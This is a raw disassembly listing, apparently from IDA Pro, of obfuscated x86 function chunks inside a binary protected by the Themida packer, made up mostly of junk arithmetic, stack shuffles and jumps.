; ---------------------------------------------------------------------------
loc_562A31: ; CODE XREF: sub_562ABA+7CDFj
add [esp+26h+var_28+2], 6F5B7FC9h
mov ebp, [esp+26h+var_28+2]
jmp loc_56B915
; ---------------------------------------------------------------------------
loc_562A40: ; CODE XREF: sub_562ABA+9C87j
push [esp+26h+var_28+2]
push [esp+2Ah+var_2C+2]
push dword ptr [esp+0]
pop ecx
jmp loc_5701FD
; ---------------------------------------------------------------------------
loc_562A4F: ; CODE XREF: sub_562ABA+DA4j
add ebx, 4
sub ebx, 4
xchg ebx, [esp+0]
pop esp
jmp loc_56FAD8
; ---------------------------------------------------------------------------
loc_562A61: ; CODE XREF: sub_562ABA+E1B6j
push eax
mov eax, 4
add edx, eax
pop eax
add edx, 4
xchg edx, [esp+2Ah+var_2C+2]
mov esp, [esp+2Ah+var_2C+2]
pop [esp+2Ah+var_2C+2]
jmp loc_562300
; ---------------------------------------------------------------------------
loc_562A7B: ; CODE XREF: sub_562ABA+CE21j
pop eax
or ecx, 29964537h
jmp loc_570ED5
; ---------------------------------------------------------------------------
loc_562A87: ; CODE XREF: sub_562ABA+F973j
mov esp, [esp+22h+var_22]
jmp loc_56A825
; ---------------------------------------------------------------------------
loc_562A8F: ; CODE XREF: sub_562ABA+3635j
not ebx
jmp loc_56DBE2
; ---------------------------------------------------------------------------
loc_562A96: ; CODE XREF: sub_562ABA+C528j
push 4E1Ah
mov [esp+26h+var_28+2], esi
jmp loc_569249
; ---------------------------------------------------------------------------
loc_562AA3: ; CODE XREF: sub_562ABA+C443j
mov cl, 0A8h
add cl, 0A4h
dec cl
sub cl, 0F6h
sub al, cl
pop ecx
jmp loc_572790
; ---------------------------------------------------------------------------
loc_562AB5: ; CODE XREF: sub_562ABA+C694j
jmp loc_55E09F
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_562ABA proc near ; DATA XREF: Themida_:0055E054o
var_70 = dword ptr -70h
var_6A = dword ptr -6Ah
var_66 = dword ptr -66h
var_62 = dword ptr -62h
var_5E = dword ptr -5Eh
var_5A = dword ptr -5Ah
var_56 = dword ptr -56h
var_52 = dword ptr -52h
var_4E = dword ptr -4Eh
var_4A = dword ptr -4Ah
var_46 = dword ptr -46h
var_42 = dword ptr -42h
var_3E = dword ptr -3Eh
var_3A = dword ptr -3Ah
var_36 = dword ptr -36h
var_32 = dword ptr -32h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_22 = dword ptr -22h
var_1E = dword ptr -1Eh
var_1A = dword ptr -1Ah
var_16 = dword ptr -16h
var_12 = dword ptr -12h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
arg_14 = dword ptr 18h
arg_18 = dword ptr 1Ch
arg_1C = dword ptr 20h
arg_20 = dword ptr 24h
arg_24 = dword ptr 28h
arg_28 = dword ptr 2Ch
arg_2C = dword ptr 30h
arg_32 = dword ptr 36h
arg_38 = dword ptr 3Ch
arg_3C = dword ptr 40h
arg_40 = dword ptr 44h
arg_44 = dword ptr 48h
arg_48 = dword ptr 4Ch
arg_4C = dword ptr 50h
arg_52 = dword ptr 56h
arg_56 = dword ptr 5Ah
arg_5A = dword ptr 5Eh
arg_5E = dword ptr 62h
arg_62 = dword ptr 66h
arg_66 = dword ptr 6Ah
; FUNCTION CHUNK AT 0055E09F SIZE 00000435 BYTES
; FUNCTION CHUNK AT 0055E4F0 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055E513 SIZE 0000008C BYTES
; FUNCTION CHUNK AT 0055E5C2 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 0055E61A SIZE 0000004F BYTES
; FUNCTION CHUNK AT 0055E676 SIZE 000000B7 BYTES
; FUNCTION CHUNK AT 0055E73D SIZE 00000070 BYTES
; FUNCTION CHUNK AT 0055E7B9 SIZE 000000A4 BYTES
; FUNCTION CHUNK AT 0055E895 SIZE 000000B3 BYTES
; FUNCTION CHUNK AT 0055E952 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0055E987 SIZE 00000047 BYTES
; FUNCTION CHUNK AT 0055E9DF SIZE 000002D8 BYTES
; FUNCTION CHUNK AT 0055ECE0 SIZE 00000193 BYTES
; FUNCTION CHUNK AT 0055EE7D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055EE98 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0055EEC5 SIZE 00000044 BYTES
; FUNCTION CHUNK AT 0055EF14 SIZE 00000078 BYTES
; FUNCTION CHUNK AT 0055EF9B SIZE 000000ED BYTES
; FUNCTION CHUNK AT 0055F091 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0055F0C9 SIZE 0000007A BYTES
; FUNCTION CHUNK AT 0055F15C SIZE 0000008C BYTES
; FUNCTION CHUNK AT 0055F1F5 SIZE 0000004F BYTES
; FUNCTION CHUNK AT 0055F26D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055F28E SIZE 00000084 BYTES
; FUNCTION CHUNK AT 0055F325 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055F360 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0055F3A1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055F3D7 SIZE 00000139 BYTES
; FUNCTION CHUNK AT 0055F529 SIZE 00000137 BYTES
; FUNCTION CHUNK AT 0055F667 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0055F692 SIZE 000000E5 BYTES
; FUNCTION CHUNK AT 0055F7BB SIZE 0000005D BYTES
; FUNCTION CHUNK AT 0055F826 SIZE 000001BA BYTES
; FUNCTION CHUNK AT 0055F9E9 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0055FA25 SIZE 00000204 BYTES
; FUNCTION CHUNK AT 0055FC3C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0055FC4A SIZE 0000005B BYTES
; FUNCTION CHUNK AT 0056016D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005601DA SIZE 00000070 BYTES
; FUNCTION CHUNK AT 00560253 SIZE 0000006F BYTES
; FUNCTION CHUNK AT 005602DF SIZE 0000021F BYTES
; FUNCTION CHUNK AT 00560505 SIZE 000000A7 BYTES
; FUNCTION CHUNK AT 005605CA SIZE 000000D7 BYTES
; FUNCTION CHUNK AT 005606AD SIZE 000000AA BYTES
; FUNCTION CHUNK AT 0056075D SIZE 0000006B BYTES
; FUNCTION CHUNK AT 005607F5 SIZE 0000003B BYTES
; FUNCTION CHUNK AT 00560836 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056085F SIZE 000000B7 BYTES
; FUNCTION CHUNK AT 00560920 SIZE 0000007B BYTES
; FUNCTION CHUNK AT 005609AD SIZE 0000003E BYTES
; FUNCTION CHUNK AT 00560A01 SIZE 000001A0 BYTES
; FUNCTION CHUNK AT 00560BBF SIZE 00000183 BYTES
; FUNCTION CHUNK AT 00560D48 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00560D5D SIZE 000000D2 BYTES
; FUNCTION CHUNK AT 00560E3C SIZE 00000085 BYTES
; FUNCTION CHUNK AT 00560EC7 SIZE 000000B9 BYTES
; FUNCTION CHUNK AT 00560F8D SIZE 000000FD BYTES
; FUNCTION CHUNK AT 005610B3 SIZE 0000007B BYTES
; FUNCTION CHUNK AT 00561150 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056116F SIZE 00000064 BYTES
; FUNCTION CHUNK AT 005611EE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056121E SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00561249 SIZE 000000D3 BYTES
; FUNCTION CHUNK AT 00561333 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0056138C SIZE 0000010C BYTES
; FUNCTION CHUNK AT 005614A1 SIZE 00000345 BYTES
; FUNCTION CHUNK AT 0056181C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056186A SIZE 000000B7 BYTES
; FUNCTION CHUNK AT 00561928 SIZE 00000235 BYTES
; FUNCTION CHUNK AT 00561B9D SIZE 000001B9 BYTES
; FUNCTION CHUNK AT 00561D6E SIZE 000000AA BYTES
; FUNCTION CHUNK AT 00561E3E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00561E9B SIZE 00000073 BYTES
; FUNCTION CHUNK AT 00561F2A SIZE 00000056 BYTES
; FUNCTION CHUNK AT 00561F88 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00561FEF SIZE 0000003F BYTES
; FUNCTION CHUNK AT 0056203F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056205B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056206A SIZE 0000003F BYTES
; FUNCTION CHUNK AT 005620B4 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 005620F5 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00562117 SIZE 00000065 BYTES
; FUNCTION CHUNK AT 0056219A SIZE 0000008E BYTES
; FUNCTION CHUNK AT 00562230 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0056225F SIZE 00000073 BYTES
; FUNCTION CHUNK AT 005622DD SIZE 0000004A BYTES
; FUNCTION CHUNK AT 0056233B SIZE 00000097 BYTES
; FUNCTION CHUNK AT 005623DB SIZE 000001AF BYTES
; FUNCTION CHUNK AT 0056259B SIZE 00000157 BYTES
; FUNCTION CHUNK AT 0056270D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056272A SIZE 00000075 BYTES
; FUNCTION CHUNK AT 005627B3 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005627CE SIZE 00000188 BYTES
; FUNCTION CHUNK AT 0056295E SIZE 0000015C BYTES
; FUNCTION CHUNK AT 00571CEB SIZE 00000110 BYTES
; FUNCTION CHUNK AT 00571E04 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00571E3D SIZE 000000BC BYTES
; FUNCTION CHUNK AT 00571F0F SIZE 00000037 BYTES
; FUNCTION CHUNK AT 00571F4F SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00571F7C SIZE 0000005B BYTES
; FUNCTION CHUNK AT 00571FE0 SIZE 00000075 BYTES
; FUNCTION CHUNK AT 0057205F SIZE 00000058 BYTES
; FUNCTION CHUNK AT 005720C6 SIZE 00000129 BYTES
; FUNCTION CHUNK AT 00572207 SIZE 000000B0 BYTES
; FUNCTION CHUNK AT 005722CB SIZE 000002C6 BYTES
; FUNCTION CHUNK AT 005725CD SIZE 00000069 BYTES
; FUNCTION CHUNK AT 0057263C SIZE 000000D8 BYTES
; FUNCTION CHUNK AT 00572737 SIZE 000001A9 BYTES
; FUNCTION CHUNK AT 005728E9 SIZE 0000015B BYTES
; FUNCTION CHUNK AT 00572A5A SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00572A87 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00572AA1 SIZE 000000D4 BYTES
; FUNCTION CHUNK AT 00572BA2 SIZE 00000060 BYTES
; FUNCTION CHUNK AT 00572C3F SIZE 0000001B BYTES
push ebx
mov ebx, esp
jmp loc_571C96
; ---------------------------------------------------------------------------
loc_562AC2: ; CODE XREF: sub_562ABA+750Fj
mov ebp, 266831B6h
push ebx
push 0FFFFFFFFh
pop ebx
sub ebp, ebx
jmp loc_570B1B
; ---------------------------------------------------------------------------
loc_562AD5: ; CODE XREF: sub_562ABA+C898j
sub al, bl
add al, 5
sub al, 3
push 9Ch
mov [esp+0], ecx
jmp loc_568561
; ---------------------------------------------------------------------------
loc_562AE8: ; CODE XREF: sub_562ABA-E81j
add ebx, eax
pop eax
jmp loc_560CD9
; ---------------------------------------------------------------------------
loc_562AF0: ; CODE XREF: sub_562ABA+F25Fj
mov cl, 0DCh
push edx
jmp loc_565798
; ---------------------------------------------------------------------------
loc_562AF8: ; CODE XREF: sub_562ABA-3D51j
xchg eax, [esp+16h+var_16]
jmp loc_55E599
; ---------------------------------------------------------------------------
loc_562B00: ; CODE XREF: sub_562ABA+A242j
push edi
push 6539472Ch
jmp loc_56141E
; ---------------------------------------------------------------------------
loc_562B0B: ; CODE XREF: sub_5721EF+13j
mov ecx, esp
jmp loc_5671E3
; ---------------------------------------------------------------------------
loc_562B12: ; CODE XREF: sub_562ABA-30B0j
mov eax, 47513D35h
neg eax
add eax, 776517BBh
shl eax, 4
dec eax
jmp loc_56D498
; ---------------------------------------------------------------------------
push edx
push esp
jmp loc_56E910
; ---------------------------------------------------------------------------
loc_562B2E: ; CODE XREF: sub_562ABA+199Ej
mov edx, [esp+1Ah+var_1A]
add esp, 4
jmp loc_55F30A
; ---------------------------------------------------------------------------
loc_562B3C: ; CODE XREF: sub_562ABA+7A8Fj
shl ecx, 8
not ecx
xor ecx, 0F1EABB87h
mov edx, ecx
jmp loc_5705B5
; ---------------------------------------------------------------------------
loc_562B4E: ; CODE XREF: sub_562ABA+D8A8j
sub esi, 1E0F5BA4h
add esi, edi
add esi, 1E0F5BA4h
pop edi
push eax
mov eax, 4
add esi, 4510091Fh
jmp loc_566C0A
; ---------------------------------------------------------------------------
loc_562B6E: ; CODE XREF: sub_562ABA+1047j
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp+1Ah+var_1A]
pop esp
mov [esp+16h+var_16], ebp
jmp loc_566D1C
; ---------------------------------------------------------------------------
loc_562B89: ; CODE XREF: sub_562ABA+816Dj
pop esp
mov [esp+12h+var_12], eax
jmp loc_55E39C
; ---------------------------------------------------------------------------
loc_562B92: ; CODE XREF: sub_562ABA+1F34j
xor edx, esi
pop esi
jmp loc_56BAE2
; ---------------------------------------------------------------------------
loc_562B9A: ; CODE XREF: sub_562ABA+5616j
xchg edx, [esp+0]
pop esp
push ebp
jmp loc_56C727
; ---------------------------------------------------------------------------
loc_562BA4: ; CODE XREF: sub_562ABA+5A87j
mov ebp, esp
sub esp, 4
mov [esp+12h+var_12], edi
jmp loc_56AF0E
; ---------------------------------------------------------------------------
loc_562BB4: ; CODE XREF: sub_562ABA+C711j
sub ah, 6Ah
add bl, ah
jmp loc_560B54
; ---------------------------------------------------------------------------
loc_562BBE: ; CODE XREF: sub_562ABA+ACDBj
push 189C4F62h
pop eax
or eax, 23A3258Dh
jmp loc_5663CB
; ---------------------------------------------------------------------------
loc_562BCE: ; CODE XREF: sub_562ABA+9FA9j
sub ebx, 29C645D3h
jmp loc_569CF7
; ---------------------------------------------------------------------------
loc_562BD9: ; CODE XREF: sub_562ABA+243j
add eax, ecx
jmp loc_561B13
; ---------------------------------------------------------------------------
loc_562BE0: ; CODE XREF: sub_562ABA+9C7Cj
xor eax, edx
xor edx, eax
xor eax, edx
not edx
jmp loc_56CA68
; ---------------------------------------------------------------------------
loc_562BED: ; CODE XREF: sub_562ABA+A14Ej
add esi, edx
pop edx
pop edi
jmp loc_56D553
; ---------------------------------------------------------------------------
loc_562BF6: ; CODE XREF: sub_562ABA+DC7j
not [esp+0Ah+var_C+2]
pop ebx
jmp loc_5685AC
; ---------------------------------------------------------------------------
loc_562BFF: ; CODE XREF: sub_562ABA+C2A1j
add cl, 15h
shl cl, 7
shr cl, 7
jmp loc_570367
; ---------------------------------------------------------------------------
mov cx, word ptr [esp+6+var_8+2]
jmp loc_56345D
; ---------------------------------------------------------------------------
loc_562C16: ; CODE XREF: sub_55E972+10j
mov ecx, [esp+6+var_8+2]
jmp loc_560242
; ---------------------------------------------------------------------------
loc_562C1E: ; CODE XREF: sub_562ABA-287Dj
mov [esp+0], edi
jmp loc_5698C4
; ---------------------------------------------------------------------------
loc_562C26: ; CODE XREF: sub_562ABA+796Aj
mov eax, 41297525h
jmp loc_568F7E
; ---------------------------------------------------------------------------
loc_562C30: ; CODE XREF: sub_562ABA+6D41j
pop edi
add ecx, edi
jmp loc_569F36
; ---------------------------------------------------------------------------
loc_562C38: ; CODE XREF: sub_562ABA+74Ej
pop edx
add edx, 4
jmp loc_5664C1
; ---------------------------------------------------------------------------
loc_562C44: ; CODE XREF: sub_562ABA+5CAAj
mov cl, 0BCh
mov ah, 0A6h
xor ah, cl
pop ecx
mov dl, ah
jmp loc_5687E5
; ---------------------------------------------------------------------------
loc_562C52: ; CODE XREF: sub_562ABA+9C48j
or eax, edx
pop edx
or eax, 55B3A21h
neg eax
or eax, 1F660BB1h
sub eax, 0FF66CBB7h
add ebx, 52F370AAh
jmp loc_56DAE0
; ---------------------------------------------------------------------------
loc_562C71: ; CODE XREF: sub_562ABA+6867j
add ebp, 4
xchg ebp, [esp-12h+arg_C+2]
jmp loc_561912
; ---------------------------------------------------------------------------
loc_562C7F: ; CODE XREF: sub_562ABA+AA8Aj
add edx, 780C17CAh
push ebp
mov ebp, 582A694Bh
jmp loc_56208E
; ---------------------------------------------------------------------------
loc_562C90: ; CODE XREF: sub_562ABA-1EC0j
push [esp+4+var_4]
mov edx, [esp+8+var_8]
jmp loc_55FC78
; ---------------------------------------------------------------------------
loc_562C9B: ; CODE XREF: sub_562ABA+B1C5j
mov [esp+8+var_8], edi
mov edi, 2
push edx
mov edx, 45B809FFh
add ebp, 7B9B5CC1h
jmp loc_565B36
; ---------------------------------------------------------------------------
loc_562CB4: ; CODE XREF: sub_562ABA+BF68j
add esp, 4
sub esp, 4
jmp loc_572496
; ---------------------------------------------------------------------------
loc_562CC2: ; CODE XREF: sub_562ABA-360Fj
pop eax
jmp loc_571F2C
; ---------------------------------------------------------------------------
loc_562CC8: ; CODE XREF: sub_562ABA+7093j
or cl, al
pop eax
push dx
mov dh, 0C2h
sub cl, dh
pop dx
push edx
mov dh, cl
push eax
mov ah, dh
mov bl, ah
pop eax
pop edx
pop ecx
jmp loc_571284
; ---------------------------------------------------------------------------
loc_562CE3: ; CODE XREF: sub_562ABA+1B14j
not bh
xchg bh, ch
sub ch, 6
sub esp, 4
mov [esp+12h+var_12], ecx
jmp loc_560E44
; ---------------------------------------------------------------------------
loc_562CF8: ; CODE XREF: sub_562ABA+178Aj
sub eax, 10341F3Dh
jmp loc_562BD9
; ---------------------------------------------------------------------------
loc_562D02: ; CODE XREF: sub_562ABA+8870j
add ebx, edi
add ebx, 4CC40DE9h
mov edi, [esp+12h+var_12]
add esp, 4
add eax, ebx
pop ebx
jmp loc_56B2D6
; ---------------------------------------------------------------------------
loc_562D18: ; CODE XREF: sub_562ABA+2486j
add bx, 69FCh
pop esi
jmp sub_55F9E0
; ---------------------------------------------------------------------------
unk_562D23 db 0 ; CODE XREF: sub_562ABA+D773j
; ---------------------------------------------------------------------------
fsubr dword ptr [edi+eax*4]
jmp loc_567532
; ---------------------------------------------------------------------------
loc_562D2C: ; CODE XREF: sub_562ABA+A760j
pop esi
shl ebp, 2
jmp loc_560399
; ---------------------------------------------------------------------------
loc_562D35: ; CODE XREF: sub_562ABA+7F1Fj
push [esp+2+var_4+2]
mov eax, [esp+6+var_8+2]
add esp, 4
jmp loc_5699DD
; ---------------------------------------------------------------------------
loc_562D43: ; CODE XREF: sub_562ABA-1C9Bj
mov edx, 4
jmp loc_56B154
; ---------------------------------------------------------------------------
loc_562D4D: ; CODE XREF: sub_562ABA+493Fj
push [esp+46h+var_46]
push [esp+4Ah+var_4A]
mov edx, [esp+4Eh+var_4E]
jmp loc_570D7D
; ---------------------------------------------------------------------------
loc_562D5B: ; CODE XREF: sub_562ABA-474j
mov ebp, 2773276Ah
or ebp, 28ED49CFh
dec ebp
or ebp, 38B40592h
jmp loc_5675DC
; ---------------------------------------------------------------------------
loc_562D72: ; CODE XREF: sub_562ABA+526j
push edi
neg [esp-4+arg_0]
pop edi
jmp sub_5627AB
; ---------------------------------------------------------------------------
mov eax, [esp-8+arg_4]
push ebx
jmp loc_5631AA
; ---------------------------------------------------------------------------
loc_562D85: ; CODE XREF: sub_562ABA+90A7j
jmp dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
jmp loc_55E667
; ---------------------------------------------------------------------------
loc_562D8D: ; CODE XREF: sub_562ABA+6DEBj
mov [esp-4+arg_0], edi
push edx
mov edx, 4
mov edi, edx
pop edx
mov ebp, edi
pop edi
add esi, ebp
pop ebp
xor esi, [esp-0Ch+arg_8]
xor [esp-0Ch+arg_8], esi
xor esi, [esp-0Ch+arg_8]
pop esp
xor ebx, eax
movzx ax, byte ptr [eax]
push small 1709h
mov word ptr [esp-0Eh+arg_8+2], ax
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_562DBC: ; CODE XREF: sub_562ABA-320j
mov edi, [esp+46h+var_46]
add esp, 4
jmp loc_56FD50
; ---------------------------------------------------------------------------
loc_562DCA: ; CODE XREF: sub_562ABA+A4DEj
mov edx, [esp+42h+var_42]
add esp, 4
mov cl, al
jmp loc_5627C0
; ---------------------------------------------------------------------------
loc_562DD7: ; CODE XREF: sub_562ABA+54C3j
add ebp, 4
xchg ebp, [esp+3Eh+var_3E]
pop esp
sub esp, 4
mov [esp+3Eh+var_3E], ecx
mov ecx, 4
jmp loc_56D2CC
; ---------------------------------------------------------------------------
loc_562DF1: ; CODE XREF: sub_562ABA+9F01j
mov [esp+3Eh+var_3E], edx
jmp loc_570C25
; ---------------------------------------------------------------------------
loc_562DF9: ; CODE XREF: sub_562ABA+61CDj
dec esi
push ebx
push edx
mov edx, 4B3B4731h
mov ebx, 8C1557BBh
sub ebx, edx
pop edx
add esi, ebx
jmp loc_55F4B0
; ---------------------------------------------------------------------------
loc_562E10: ; CODE XREF: sub_562ABA+6AB4j
add eax, ebx
add eax, 0CD91EF0h
jmp loc_561CF1
; ---------------------------------------------------------------------------
loc_562E1C: ; CODE XREF: sub_562ABA+E4Fj
push esi
push 33DFh
jmp loc_561592
; ---------------------------------------------------------------------------
loc_562E27: ; CODE XREF: sub_562ABA+B4E1j
xchg edx, [esp+4Ah+var_4A]
pop esp
xchg eax, ebx
push 8A7h
jmp loc_56370A
; ---------------------------------------------------------------------------
loc_562E36: ; CODE XREF: sub_562ABA+FDDAj
add bl, 5
add bl, 39h
add bl, 13h
jmp loc_56FEE2
; ---------------------------------------------------------------------------
loc_562E44: ; CODE XREF: sub_562ABA-E26j
push esp
pop edx
jmp loc_563EDC
; ---------------------------------------------------------------------------
loc_562E4B: ; CODE XREF: sub_562ABA+C1B4j
pop [esp+1Ah+var_1A]
pop ebp
jmp loc_560D6A
; ---------------------------------------------------------------------------
loc_562E54: ; CODE XREF: sub_562ABA+8E41j
mov [esp+12h+var_12], esp
jmp loc_563329
; ---------------------------------------------------------------------------
loc_562E5C: ; CODE XREF: sub_562ABA+590Aj
add edx, ecx
jmp loc_563420
; ---------------------------------------------------------------------------
loc_562E63: ; CODE XREF: sub_562ABA+C2C7j
xor ecx, 6893B51h
inc ecx
shl ecx, 7
jmp loc_56E614
; ---------------------------------------------------------------------------
loc_562E72: ; CODE XREF: sub_562ABA-4177j
push edi
jmp loc_565DE1
; ---------------------------------------------------------------------------
loc_562E78: ; CODE XREF: sub_562ABA+3952j
mov ecx, [esp+1Eh+var_1E]
add esp, 4
push esi
push [esp+1Eh+var_1A]
mov esi, [esp+22h+var_22]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+26h+var_28+2]
jmp loc_564019
; ---------------------------------------------------------------------------
loc_562E99: ; CODE XREF: sub_562ABA+6678j
push ebp
jmp loc_56DDCB
; ---------------------------------------------------------------------------
loc_562E9F: ; CODE XREF: sub_562ABA-4379j
pop eax
push ecx
mov ecx, 6F7E30EEh
neg ecx
jmp loc_562846
; ---------------------------------------------------------------------------
loc_562EAD: ; CODE XREF: sub_562ABA+FF23j
xor ebp, edx
pop edx
shr ebp, 5
add ebp, 568728B6h
add ebp, 5487C50h
sub eax, ebp
pop ebp
push 2CABh
mov [esp+1Eh+var_1E], ebx
push 313D5676h
mov ebx, [esp+22h+var_22]
add esp, 4
sub eax, 47E51A44h
add eax, 5C8075F9h
add eax, ebx
sub eax, 5C8075F9h
add eax, 47E51A44h
mov ebx, [esp+1Eh+var_1E]
add esp, 4
jmp loc_5632D7
; ---------------------------------------------------------------------------
loc_562EF9: ; CODE XREF: sub_562ABA+9770j
pop edx
sub bh, 7Dh
pop ax
xor bh, 95h
sub al, bh
push [esp+14h+var_16+2]
jmp loc_56F62F
; ---------------------------------------------------------------------------
loc_562F0C: ; CODE XREF: sub_562ABA+61Dj
push edi
mov edi, 2B69013Ch
jmp loc_5701A9
; ---------------------------------------------------------------------------
loc_562F17: ; CODE XREF: sub_562ABA+494Fj
mov [esp+1Ch+var_1E+2], ecx
push 59DFh
mov [esp+20h+var_22+2], eax
mov eax, 4
jmp loc_56E04E
; ---------------------------------------------------------------------------
loc_562F2C: ; CODE XREF: sub_562ABA+2D9Bj
mov eax, ebp
pop ebp
xor ecx, eax
mov eax, [esp+1Ch+var_1E+2]
add esp, 4
push 3BC9h
mov [esp+1Ch+var_1E+2], ecx
pop esi
pop ecx
jmp loc_569849
; ---------------------------------------------------------------------------
pop dword ptr fs:[edx]
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_562F4E: ; CODE XREF: sub_562ABA+5AE8j
mov bl, 0D8h
push edx
mov dh, 21h
dec dh
jmp loc_566A53
; ---------------------------------------------------------------------------
loc_562F5A: ; CODE XREF: sub_562ABA+420Ej
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp+14h+var_16+2]
pop esp
mov [esp+10h+var_12+2], edi
mov edi, 403932E4h
push edx
jmp loc_562514
; ---------------------------------------------------------------------------
loc_562F77: ; CODE XREF: sub_562ABA+CB8Fj
add edx, 4
xchg edx, [esp+14h+var_16+2]
pop esp
push esi
push ecx
mov ecx, 2
mov esi, ecx
jmp loc_57086E
; ---------------------------------------------------------------------------
loc_562F8F: ; DATA XREF: Themida_:0055DDC4o
push eax
push ebp
mov ebp, 20D24F3Ch
jmp loc_56E6DE
; ---------------------------------------------------------------------------
loc_562F9B: ; CODE XREF: sub_562ABA-10F6j
xor ecx, [esp+6+var_8+2]
xor [esp+6+var_8+2], ecx
xor ecx, [esp+6+var_8+2]
mov esp, [esp+6+var_8+2]
mov cx, word ptr [esp+6+var_8+2]
jmp loc_5707AF
; ---------------------------------------------------------------------------
movzx ax, byte ptr [edx]
push small 2FCBh
mov word ptr [esp+8+var_8], ax
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_562FC1: ; CODE XREF: sub_562ABA+8D1Bj
push 58F6h
mov [esp+0Ch+var_C], ecx
jmp loc_5711BD
; ---------------------------------------------------------------------------
loc_562FCE: ; CODE XREF: sub_562ABA+FF52j
mov esp, [esp+0Ch+var_C]
jmp loc_56FF92
; ---------------------------------------------------------------------------
loc_562FD6: ; CODE XREF: sub_562ABA+82C1j
mov ebp, 1C3A1DBAh
inc ebp
shr ebp, 1
xchg edi, ebp
jmp loc_562D72
; ---------------------------------------------------------------------------
loc_562FE5: ; CODE XREF: sub_562ABA+EDE4j
push ecx
mov cl, 0B6h
sub cl, 30h
xor cl, 0C9h
xor cl, 9Ah
neg cl
push bx
jmp loc_5630E4
; ---------------------------------------------------------------------------
loc_562FFA: ; CODE XREF: sub_562ABA+EA8Ej
xor ecx, [esp+12h+var_12]
jmp loc_571D8F
; ---------------------------------------------------------------------------
loc_563002: ; CODE XREF: sub_562ABA-1019j
neg eax
add eax, 2087709Dh
jmp loc_56F9B1
; ---------------------------------------------------------------------------
loc_56300E: ; CODE XREF: sub_562ABA+2AEDj
mov eax, 1B7D4A4Fh
xor eax, 14C5B2Dh
mov edx, eax
mov eax, [esp+26h+var_28+2]
add esp, 4
push eax
mov eax, 212F1E69h
sub eax, 53586945h
sub eax, 5B167DE9h
and edx, eax
pop eax
sub edx, 5E94310Ch
push 4396h
mov [esp+26h+var_28+2], ebp
push ebx
push ecx
mov ecx, 38281D5Dh
sub ecx, 1BDBD502h
mov ebx, ecx
pop ecx
mov ebp, 3CFEA1E7h
sub ebp, ebx
pop ebx
and ebp, 35416FC5h
dec ebp
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp+2Ah+var_2C+2]
jmp loc_56E92B
; ---------------------------------------------------------------------------
loc_56307A: ; CODE XREF: sub_562ABA+8346j
mov eax, 4
jmp loc_564690
; ---------------------------------------------------------------------------
loc_563084: ; CODE XREF: sub_562ABA-237Bj
add esp, 4
neg edx
sub edx, 6D4609ACh
shl edx, 2
shr edx, 5
sub esp, 4
jmp loc_55F96A
; ---------------------------------------------------------------------------
loc_5630A3: ; CODE XREF: sub_562ABA+E962j
xchg esi, [esp+0]
mov esp, [esp+0]
not esi
push edi
jmp loc_566779
; ---------------------------------------------------------------------------
loc_5630B1: ; CODE XREF: sub_562ABA-D73j
push 4F3Ch
mov [esp+0Ah+var_C+2], ecx
mov ecx, 758F59A6h
and ecx, 15F50AB3h
shr ecx, 6
add ecx, 0FFFFFFFFh
xor ecx, 59AB1030h
sub eax, 6BAC7D0Bh
sub eax, ecx
jmp loc_562F0C
; ---------------------------------------------------------------------------
loc_5630DC: ; CODE XREF: sub_562ABA+91CEj
push [esp+0Ah+var_C+2]
jmp loc_564472
; ---------------------------------------------------------------------------
loc_5630E4: ; CODE XREF: sub_562ABA+53Bj
mov bl, 7Fh
xor cl, bl
pop bx
mov al, cl
pop ecx
inc al
or al, 8Eh
jmp loc_561CFC
; ---------------------------------------------------------------------------
loc_5630F6: ; CODE XREF: sub_562ABA+4EE1j
sub ebp, 9920CDD3h
add edx, ebp
push [esp+0Ch+var_C]
pop ebp
add esp, 4
add edx, 4
xor edx, [esp+8+var_8]
xor [esp+8+var_8], edx
jmp loc_56B1FC
; ---------------------------------------------------------------------------
loc_563116: ; CODE XREF: sub_562ABA-4069j
mov esi, 1146389Ch
jmp loc_56FF46
; ---------------------------------------------------------------------------
